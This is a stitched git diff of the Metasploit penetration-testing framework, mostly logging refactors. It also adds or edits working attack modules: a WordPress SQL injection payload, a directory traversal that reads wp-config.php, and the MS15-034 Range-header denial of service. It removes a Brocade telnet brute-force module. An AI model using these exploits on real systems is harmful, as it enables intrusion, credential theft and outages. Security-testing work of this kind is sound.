vprint_status("RSA Hash: #{rsa_enc}")
# make login request
vars_post = {
'n' => '',
@ -58,10 +58,10 @@ module Msf::HTTP::Typo3::Login
})
if res_login
if res_login.body =~ /<!-- ###LOGIN_ERROR### begin -->(.*)<!-- ###LOGIN_ERROR### end -->/im
vprint_debug(strip_tags($1))
vprint_status(strip_tags($1))
return nil
elsif res_login.body =~ /<p class="t3-error-text">(.*?)<\/p>/im
vprint_debug(strip_tags($1))
vprint_status(strip_tags($1))
return nil
else
cookies = res_login.get_cookies

View File

@ -2070,29 +2070,6 @@ class Core
return true
end
# If the value starts with file: exists, and size isn't too big load the file as the value
# Otherwise keep the old value
if value =~ /^file:(.*)/
fname = $1
begin
fd = ::File.new(fname, 'rb')
rescue ::Errno::ENOENT
print_error('The file name specified does not exist')
value = datastore[name]
fd = nil
end
if fd && fd.stat.size > (1024 * 1024)
print_error('The file name specified is too big (over 1Mb)')
value = datastore[name]
fd.close
elsif fd
value = fd.read(fd.stat.size)
fd.close
end
end
if append
datastore[name] = datastore[name] + value
else
@ -2346,7 +2323,7 @@ class Core
# Walk the plugins array
framework.plugins.each { |plugin|
# Unload the plugin if it matches the name we're searching for
if (plugin.name == args[0])
if (plugin.name.downcase == args[0].downcase)
print("Unloading plugin #{args[0]}...")
framework.plugins.unload(plugin)
print_line("unloaded.")

View File

@ -132,7 +132,7 @@ module ModuleCommandDispatcher
hosts = Rex::Socket::RangeWalker.new(opt.normalize(ip_range_arg))
# Check multiple hosts
last_rhost_opt = mod.rhost
last_rhost_opt = mod.datastore['RHOST']
last_rhosts_opt = mod.datastore['RHOSTS']
mod.datastore['RHOSTS'] = ip_range_arg
begin
@ -169,7 +169,7 @@ module ModuleCommandDispatcher
instance = mod
end
rhost = instance.rhost
rhost = instance.datastore['RHOST']
rport = nil
peer = rhost
if instance.datastore['rport']

View File

@ -87,10 +87,6 @@ class BidirectionalPipe < Rex::Ui::Text::Input
print_line('[+] ' + msg)
end
def print_debug(msg='')
print_line('[!] ' + msg)
end
def flush
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'uri'
require 'rex/proto/http'
require 'nokogiri'
module Rex
module Proto
@ -82,6 +83,34 @@ class Response < Packet
return cookies.strip
end
# Returns a collection of found hidden inputs
#
# @return [Array<Hash>] An array, each element represents a form that contains a hash of found hidden inputs
# * 'name' [String] The hidden input's original name. The value is the hidden input's original value.
# @example
# res = send_request_cgi('uri'=>'/')
# inputs = res.get_hidden_inputs
# session_id = inputs[0]['sessionid'] # The first form's 'sessionid' hidden input
def get_hidden_inputs
forms = []
noko = Nokogiri::HTML(self.body)
noko.search("form").each_entry do |form|
found_inputs = {}
form.search("input").each_entry do |input|
input_type = input.attributes['type'] ? input.attributes['type'].value : ''
next if input_type !~ /hidden/i
input_name = input.attributes['name'] ? input.attributes['name'].value : ''
input_value = input.attributes['value'] ? input.attributes['value'].value : ''
found_inputs[input_name] = input_value unless input_name.empty?
end
forms << found_inputs unless found_inputs.empty?
end
forms
end
#
# Updates the various parts of the HTTP response command string.
#

View File

@ -30,9 +30,6 @@ class Output
def print_good(msg='')
end
def print_debug(msg='')
end
#
# Prints a status line.
#

View File

@ -56,16 +56,6 @@ module Subscriber
end
end
#
# Wraps user_output.print_debug
#
def print_debug(msg='')
if (user_output)
print_blank_line if user_output.prompting?
user_output.print_debug(msg)
end
end
#
# Wraps user_output.print_warning
#

View File

@ -55,10 +55,6 @@ class Output < Rex::Ui::Output
print_line("%bld%grn[+]%clr #{msg}")
end
def print_debug(msg = '')
print_line("%bld%cya[!]%clr #{msg}")
end
def print_status(msg = '')
print_line("%bld%blu[*]%clr #{msg}")
end

View File

@ -31,6 +31,7 @@ class Output::File < Rex::Ui::Text::Output
self.fd.flush
msg
end
alias_method :write, :print_raw
def close
self.fd.close if self.fd

View File

@ -37,7 +37,9 @@ class Metasploit3 < Msf::Auxiliary
['CVE', '2015-1635'],
['MSB', 'MS15-034'],
['URL', 'http://pastebin.com/ypURDPc4'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150']
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/']
],
'License' => MSF_LICENSE
))
@ -50,6 +52,10 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('RHOST')
end
def upper_range
0xFFFFFFFFFFFFFFFF
end
def run_host(ip)
if check_host(ip) == Exploit::CheckCode::Vulnerable
dos_host(ip)
@ -58,7 +64,34 @@ class Metasploit3 < Msf::Auxiliary
end
end
def get_file_size(ip)
@file_size ||= lambda {
file_size = -1
uri = normalize_uri(target_uri.path)
res = send_request_raw({'uri'=>uri})
unless res
vprint_error("#{ip}:#{rport} - Connection timed out")
return file_size
end
if res.code == 404
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
return file_size
end
file_size = res.body.length
vprint_status("#{ip}:#{rport} - File length: #{file_size} bytes")
return file_size
}.call
end
def dos_host(ip)
file_size = get_file_size(ip)
lower_range = file_size - 2
# In here we have to use Rex because if we dos it, it causes our module to hang too
uri = normalize_uri(target_uri.path)
begin
@ -68,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => 'bytes=18-18446744073709551615'
'Range' => "bytes=#{lower_range}-#{upper_range}"
}
})
cli.send_request(req)
@ -78,26 +111,16 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{ip}:#{rport} - DOS request sent")
end
def check_host(ip)
return Exploit::CheckCode::Unknown if get_file_size(ip) == -1
uri = normalize_uri(target_uri.path)
res = send_request_raw({'uri'=>uri})
unless res
vprint_error("#{ip}:#{rport} - Connection timed out")
return Exploit::CheckCode::Unknown
end
if res.code == 404
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
return Exploit::CheckCode::Unknown
end
res = send_request_raw({
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => 'bytes=0-18446744073709551615'
'Range' => "bytes=0-#{upper_range}"
}
})
if res && res.body.include?('Requested Range Not Satisfiable')

View File

@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary
}
space_to_fill = size_bytes - empty_xml.size
vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes")
vprint_status("#{peer} - max XML space to fill: #{space_to_fill} bytes")
payload = "&#{entity};" * (space_to_fill / 6)
entity_value_length = space_to_fill - payload.length

View File

@ -101,7 +101,6 @@ class Metasploit3 < Msf::Auxiliary
# Verify if session cookie is valid and return user's ID
#
def get_user_id
# print_debug("#{peer} - Trying to hijack session '#{@cookie}'")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => @cookie
@ -121,7 +120,6 @@ class Metasploit3 < Msf::Auxiliary
# Construct cookie using token
#
def create_cookie(token)
# print_debug("#{peer} - Creating a cookie with token '#{token}'")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"

View File

@ -330,7 +330,7 @@ class Metasploit3 < Msf::Auxiliary
i, a = 0, []
# Most common SRV Records
srvrcd = [
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp","_test._tcp.",
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.",
"_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.",
"_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.",
"_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.",

View File

@ -31,7 +31,6 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
Opt::RPORT(8080),
OptBool.new('DEBUG', [ false, 'Enable requests debugging output', false ]),
OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used : 80, 1080, 3128, 8080, 8123', false ]),
OptBool.new('RANDOMIZE_PORTS', [ false, 'Randomize the order the ports are probed', false ]),
OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]),
@ -193,10 +192,7 @@ class Metasploit3 < Msf::Auxiliary
end
def check_host(target_host,target_port,site,user_agent)
if datastore['DEBUG']
print_status("Checking #{target_host}:#{target_port} [#{site}]")
end
vprint_status("Checking #{target_host}:#{target_port} [#{site}]")
is_valid,retcode,retvia,retsrv = send_request(site,user_agent)

View File

@ -56,7 +56,6 @@ class Metasploit3 < Msf::Auxiliary
if not res.body.include?("llow:")
vprint_status("[#{target_host}] #{tpath}robots.txt - Doesn't contain \"llow:\"")
print_status(res.body.inspect) if datastore['DEBUG']
return
end

View File

@ -52,14 +52,13 @@ class Metasploit3 < Msf::Auxiliary
# Fingerprint a single host
def run_host(ip)
begin
connect
res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
fp = http_fingerprint(:response => res)
if fp
vprint_status("#{peer} connected and fingerprinted: #{fp}")
# TODO: Interrogate the connection itself to see what version
# was used. Where that actually lives is eluding me. :/
if datastore['SSLVersion'] == 'SSL3'
if datastore['SSL'] && datastore['SSLVersion'] == 'SSL3'
print_good("#{peer} accepts SSLv3")
report_poodle_vuln(ip)
end
@ -67,9 +66,6 @@ class Metasploit3 < Msf::Auxiliary
rescue ::OpenSSL::SSL::SSLError => e
ssl_version = e.message.match(/ state=([^\s]+)/)[1]
vprint_status("#{peer} does not accept #{ssl_version}")
rescue ::Timeout::Error, ::Errno::EPIPE
ensure
disconnect
end
end

View File

@ -0,0 +1,69 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Contus Video Gallery Unauthenticated SQL Injection Scanner',
'Description' => %q{
This module attempts to exploit a UNION-based SQL injection in Contus Video
Gallery for Wordpress version 2.7 and likely prior in order if the instance is
vulnerable.
},
'Author' =>
[
'Claudio Viviani', #discovery
'bperry' #metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-2065'],
[ 'WPVDB', '7793' ]
],
'DisclosureDate' => 'Feb 24 2015'))
end
def run_host(ip)
right_marker = Rex::Text.rand_text_alpha(5)
left_marker = Rex::Text.rand_text_alpha(5)
flag = Rex::Text.rand_text_alpha(5)
vprint_status("#{peer} - Checking host")
res = send_request_cgi({
'uri' => wordpress_url_admin_ajax,
'vars_get' => {
'action' => 'rss',
'type' => 'video',
'vid' => "-1 UNION ALL SELECT NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- "
}
})
unless res && res.body
vprint_error("#{peer} - Server did not respond in an expected way")
return
end
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
if result
print_good("#{peer} - Vulnerable to unauthenticated SQL injection within Contus Video Gallery 2.7 for Wordpress")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => "Unauthenticated UNION-based SQL injection in Contus Video Gallery 2.7 for Wordpress",
:refs => self.references.select { |ref| ref.ctx_val == "2015-2065" }
})
end
end
end

View File

@ -0,0 +1,77 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress GI-Media Library Plugin Directory Traversal Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
GI-Media Library version 2.2.2, allowing to read arbitrary files from the
system with the web server privileges. This module has been tested successfully
on GI-Media Library version 2.2.2 with WordPress 4.1.3 on Ubuntu 12.04 Server.
},
'References' =>
[
['WPVDB', '7754'],
['URL', 'http://wordpressa.quantika14.com/repository/index.php?id=24']
],
'Author' =>
[
'Unknown', # Vulnerability discovery - QuantiKa14?
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('FILEPATH', [true, 'The wordpress file to read', 'wp-config.php']),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the wordpress root folder)', 3 ])
], self.class)
end
def check
check_plugin_version_from_readme('gi-media-library', '3.0')
end
def run_host(ip)
traversal = '../' * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'gi-media-library', 'download.php'),
'vars_get' =>
{
'fileid' => Rex::Text.encode_base64(traversal + filename)
}
)
if res && res.code == 200 && res.body && res.body.length > 0
fname = datastore['FILEPATH']
path = store_loot(
'gimedia-library.file',
'text/plain',
ip,
res.body,
fname
)
print_good("#{peer} - File saved in: #{path}")
else
vprint_error("#{peer} - Nothing was downloaded. Check the path and the traversal parameters.")
end
end
end

View File

@ -93,11 +93,11 @@ class Metasploit3 < Msf::Auxiliary
end
else
state = Msf::ServiceState::Closed
print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG'])
vprint_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports")
end
else
state = Msf::ServiceState::Closed
print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG'])
vprint_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response")
end
report_service(

View File

@ -43,7 +43,6 @@ class Metasploit3 < Msf::Auxiliary
val_actual = resp[idx,4].unpack("V")[0]
idx += 4
value = resp[idx,val_actual*2]
#print_debug "resp[0x#{idx.to_s(16)},#{val_actual*2}] : " + value
idx += val_actual * 2
idx += val_actual % 2 * 2 # alignment
@ -54,15 +53,12 @@ class Metasploit3 < Msf::Auxiliary
def parse_net_wksta_enum_users_info(resp)
accounts = [ Hash.new() ]
#print_debug resp[0,20].unpack("H*")
idx = 20
count = resp[idx,4].unpack("V")[0] # wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Max Count
idx += 4
#print_debug "Max Count : " + count.to_s
1.upto(count) do
# wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Ref ID
# print_debug "Ref ID#{account.to_s}: " + resp[idx,4].unpack("H*").to_s
idx += 4 # ref id name
idx += 4 # ref id logon domain
idx += 4 # ref id other domains

View File

@ -173,7 +173,7 @@ class Metasploit3 < Msf::Auxiliary
while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
if attempt_num > 0
Rex.sleep(2 ** attempt_num)
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
end
ret = check_user(ip, user, rport)

View File

@ -148,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
if attempt_num > 0
Rex.sleep(2 ** attempt_num)
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
end
ret = check_user(ip, user, rport)
@ -161,12 +161,12 @@ class Metasploit3 < Msf::Auxiliary
def show_result(attempt_result, user, ip)
case attempt_result
when :success
print_good "#{peer(ip)} User '#{user}' found"
print_good("#{peer(ip)} User '#{user}' found")
do_report(ip, user, rport)
when :connection_error
print_error "#{peer(ip)} User '#{user}' on could not connect"
print_error("#{peer(ip)} User '#{user}' on could not connect")
when :fail
print_debug "#{peer(ip)} User '#{user}' not found"
print_error("#{peer(ip)} User '#{user}' not found")
end
end

View File

@ -693,12 +693,12 @@ class Metasploit3 < Msf::Auxiliary
ssl_type = ssl_unpacked[0]
ssl_version = ssl_unpacked[1]
ssl_len = ssl_unpacked[2]
vprint_debug("SSL record ##{ssl_record_counter}:")
vprint_debug("\tType: #{ssl_type}")
vprint_debug("\tVersion: 0x#{ssl_version}")
vprint_debug("\tLength: #{ssl_len}")
vprint_status("SSL record ##{ssl_record_counter}:")
vprint_status("\tType: #{ssl_type}")
vprint_status("\tVersion: 0x#{ssl_version}")
vprint_status("\tLength: #{ssl_len}")
if ssl_type != HANDSHAKE_RECORD_TYPE
vprint_debug("\tWrong Record Type! (#{ssl_type})")
vprint_status("\tWrong Record Type! (#{ssl_type})")
else
ssl_data = remaining_data[5, ssl_len]
handshakes = parse_handshakes(ssl_data)
@ -729,24 +729,24 @@ class Metasploit3 < Msf::Auxiliary
hs_len = hs_unpacked[2]
hs_data = remaining_data[4, hs_len]
handshake_count += 1
vprint_debug("\tHandshake ##{handshake_count}:")
vprint_debug("\t\tLength: #{hs_len}")
vprint_status("\tHandshake ##{handshake_count}:")
vprint_status("\t\tLength: #{hs_len}")
handshake_parsed = nil
case hs_type
when HANDSHAKE_SERVER_HELLO_TYPE
vprint_debug("\t\tType: Server Hello (#{hs_type})")
vprint_status("\t\tType: Server Hello (#{hs_type})")
handshake_parsed = parse_server_hello(hs_data)
when HANDSHAKE_CERTIFICATE_TYPE
vprint_debug("\t\tType: Certificate Data (#{hs_type})")
vprint_status("\t\tType: Certificate Data (#{hs_type})")
handshake_parsed = parse_certificate_data(hs_data)
when HANDSHAKE_KEY_EXCHANGE_TYPE
vprint_debug("\t\tType: Server Key Exchange (#{hs_type})")
vprint_status("\t\tType: Server Key Exchange (#{hs_type})")
# handshake_parsed = parse_server_key_exchange(hs_data)
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
vprint_debug("\t\tType: Server Hello Done (#{hs_type})")
vprint_status("\t\tType: Server Hello Done (#{hs_type})")
else
vprint_debug("\t\tType: Handshake type #{hs_type} not implemented")
vprint_status("\t\tType: Handshake type #{hs_type} not implemented")
end
handshakes << {
@ -763,13 +763,13 @@ class Metasploit3 < Msf::Auxiliary
# Parse Server Hello message
def parse_server_hello(data)
version = data.unpack('H4')[0]
vprint_debug("\t\tServer Hello Version: 0x#{version}")
vprint_status("\t\tServer Hello Version: 0x#{version}")
random = data[2,32].unpack('H*')[0]
vprint_debug("\t\tServer Hello random data: #{random}")
vprint_status("\t\tServer Hello random data: #{random}")
session_id_length = data[34,1].unpack('C')[0]
vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}")
vprint_status("\t\tServer Hello Session ID length: #{session_id_length}")
session_id = data[35,session_id_length].unpack('H*')[0]
vprint_debug("\t\tServer Hello Session ID: #{session_id}")
vprint_status("\t\tServer Hello Session ID: #{session_id}")
# TODO Read the rest of the server hello (respect message length)
# TODO: return hash with data
@ -782,8 +782,8 @@ class Metasploit3 < Msf::Auxiliary
unpacked = data.unpack('Cn')
cert_len_padding = unpacked[0]
cert_len = unpacked[1]
vprint_debug("\t\tCertificates length: #{cert_len}")
vprint_debug("\t\tData length: #{data.length}")
vprint_status("\t\tCertificates length: #{cert_len}")
vprint_status("\t\tData length: #{data.length}")
# contains multiple certs
already_read = 3
cert_counter = 0
@ -793,14 +793,14 @@ class Metasploit3 < Msf::Auxiliary
single_cert_unpacked = data[already_read, 3].unpack('Cn')
single_cert_len_padding = single_cert_unpacked[0]
single_cert_len = single_cert_unpacked[1]
vprint_debug("\t\tCertificate ##{cert_counter}:")
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
vprint_status("\t\tCertificate ##{cert_counter}:")
vprint_status("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
certificate_data = data[(already_read + 3), single_cert_len]
cert = OpenSSL::X509::Certificate.new(certificate_data)
# First received certificate is the one from the server
@cert = cert if @cert.nil?
#vprint_debug("Got certificate: #{cert.to_text}")
vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
#vprint_status("Got certificate: #{cert.to_text}")
vprint_status("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
already_read = already_read + single_cert_len + 3
end

View File

@ -1,150 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/brocade_telnet'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Telnet
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
def initialize
super(
'Name' => 'Brocade Enable Login Check Scanner',
'Description' => %q{
This module will test a Brocade network device for a privilged
(Enable) login on a range of machines and report successful
logins. If you have loaded a database plugin and connected
to a database this module will record successful
logins and hosts so you can track your access.
This is not a login/telnet authentication. Config should NOT
have 'enable telnet authentication' in it. This will test the
config that contains 'aaa authentication enable default local'
Tested against:
ICX6450-24 SWver 07.4.00bT311
FastIron WS 624 SWver 07.2.02fT7e1
},
'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
register_options(
[
OptBool.new('GET_USERNAMES_FROM_CONFIG', [ false, 'Pull usernames from config and running config', true])
], self.class
)
@no_pass_prompt = []
end
def get_username_from_config(un_list,ip)
["config","running-config"].each do |command|
print_status(" Attempting username gathering from #{command} on #{ip}")
sock.puts("\r\n") #ensure the buffer is clear
config = sock.recv(1024)
sock.puts("show #{command}\r\n")
while true do
sock.puts(" \r\n") #paging
config << sock.recv(1024)
#there seems to be some buffering issues. so we want to match that we're back at a prompt, as well as received the 'end' of the config.
break if config.match(/>$/) and config.match(/end/)
end #pull the entire config
config.each_line do |un|
if un.match(/^username/)
found_username = un.split(" ")[1].strip
un_list.push(found_username)
print_status(" Found: #{found_username}@#{ip}")
end #username match
end #each line in config
end #end config/running-config loop
end
attr_accessor :no_pass_prompt
attr_accessor :password_only
def run_host(ip)
un_list = []
if datastore['GET_USERNAMES_FROM_CONFIG']
connect()
get_username_from_config(un_list,ip)
disconnect()
end
if datastore['USERNAME'] #put the provided username on the array to try
un_list.push(datastore['USERNAME'])
end
un_list.delete('logout') #logout, even when used as a un or pass will exit the terminal
un_list.each do |un|
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: un,
user_as_pass: datastore['USER_AS_PASS'],
)
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::Brocade_Telnet.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: datastore['Timeout'],
max_send_size: datastore['TCP::max_send_size'],
send_delay: datastore['TCP::send_delay'],
banner_timeout: datastore['TelnetBannerTimeout'],
telnet_timeout: datastore['TelnetTimeout'],
framework: framework,
framework_module: self,
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good("#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}")
start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
else
invalidate_login(credential_data)
print_error("#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})")
end
end
end #end un loop
end
def start_telnet_session(host, port, user, pass, scanner)
print_status("Attempting to start session #{host}:#{port} with #{user}:#{pass}")
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => user,
'PASSWORD' => pass
}
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock)
end
end

View File

@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'Telnet Service Encyption Key ID Overflow Detection',
'Name' => 'Telnet Service Encryption Key ID Overflow Detection',
'Description' => 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)',
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'hdm' ],
'License' => MSF_LICENSE,

View File

@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
OptRegexp.new('EXCLUDE', [false,
'Only attempt to use exploits whose name DOES NOT match this regex'
]),
OptBool.new('DEBUG', [false,
OptBool.new('DEBUG_AUTOPWN', [false,
'Do not obfuscate the javascript and print various bits of useful info to the browser',
false
]),
@ -232,8 +232,8 @@ class Metasploit3 < Msf::Auxiliary
ENDJS
)
if (datastore['DEBUG'])
print_debug("NOTE: Debug Mode; javascript will not be obfuscated")
if (datastore['DEBUG_AUTOPWN'])
print_status("NOTE: Debug Mode; javascript will not be obfuscated")
else
pre = Time.now
@ -349,7 +349,7 @@ class Metasploit3 < Msf::Auxiliary
# For testing, set the exploit uri to the name of the exploit so it's
# easy to tell what is happening from the browser.
if (datastore['DEBUG'])
if (datastore['DEBUG_AUTOPWN'])
@exploits[name].datastore['URIPATH'] = name
else
# randomize it manually since if a saved value exists in the user's
@ -836,7 +836,7 @@ class Metasploit3 < Msf::Auxiliary
#
#js = ::Rex::Exploitation::JSObfu.new(js)
#js.obfuscate unless datastore["DEBUG"]
#js.obfuscate unless datastore["DEBUG_AUTOPWN"]
response.body = "#{js}"
print_status("Responding with #{sploit_cnt} exploits")
@ -1056,7 +1056,7 @@ class Metasploit3 < Msf::Auxiliary
end
def js_debug(msg)
if datastore['DEBUG']
if datastore['DEBUG_AUTOPWN']
return "document.body.innerHTML += #{msg};"
end
return ""

View File

@ -47,10 +47,6 @@ attr_accessor :sock, :thread
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 300]),
])
register_advanced_options([
OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil

View File

@ -46,10 +46,6 @@ class Metasploit3 < Msf::Auxiliary
OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
])
register_advanced_options([
OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false])
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil
@ -90,20 +86,18 @@ class Metasploit3 < Msf::Auxiliary
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
if datastore['DEBUG']
print_status("transid: #{nbnsq_transid.unpack('H4')}")
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
print_status("questions: #{nbnsq_questions.unpack('n')}")
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
print_status("full name: #{nbnsq_name.slice(1..-2)}")
print_status("decoded: #{decoded}")
print_status("decoded name: #{nbnsq_decodedname}")
print_status("type: #{nbnsq_type.unpack('n')}")
print_status("class: #{nbnsq_class.unpack('n')}")
end
vprint_status("transid: #{nbnsq_transid.unpack('H4')}")
vprint_status("tlags: #{nbnsq_flags.unpack('B16')}")
vprint_status("questions: #{nbnsq_questions.unpack('n')}")
vprint_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
vprint_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
vprint_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
vprint_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
vprint_status("full name: #{nbnsq_name.slice(1..-2)}")
vprint_status("decoded: #{decoded}")
vprint_status("decoded name: #{nbnsq_decodedname}")
vprint_status("type: #{nbnsq_type.unpack('n')}")
vprint_status("class: #{nbnsq_class.unpack('n')}")
# time to build a response packet - Oh YEAH!
response = nbnsq_transid +

View File

@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
send_response(cli, apk_bytes, magic_headers)
end
elsif req.uri =~ /_poll/
vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"
vprint_status("Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}")
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
elsif req.uri =~ /launch$/
send_response_html(cli, launch_html)

View File

@ -57,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Local
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ])
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ])
])
end
@ -327,7 +327,7 @@ int main(int argc,char *argv[], char ** envp)
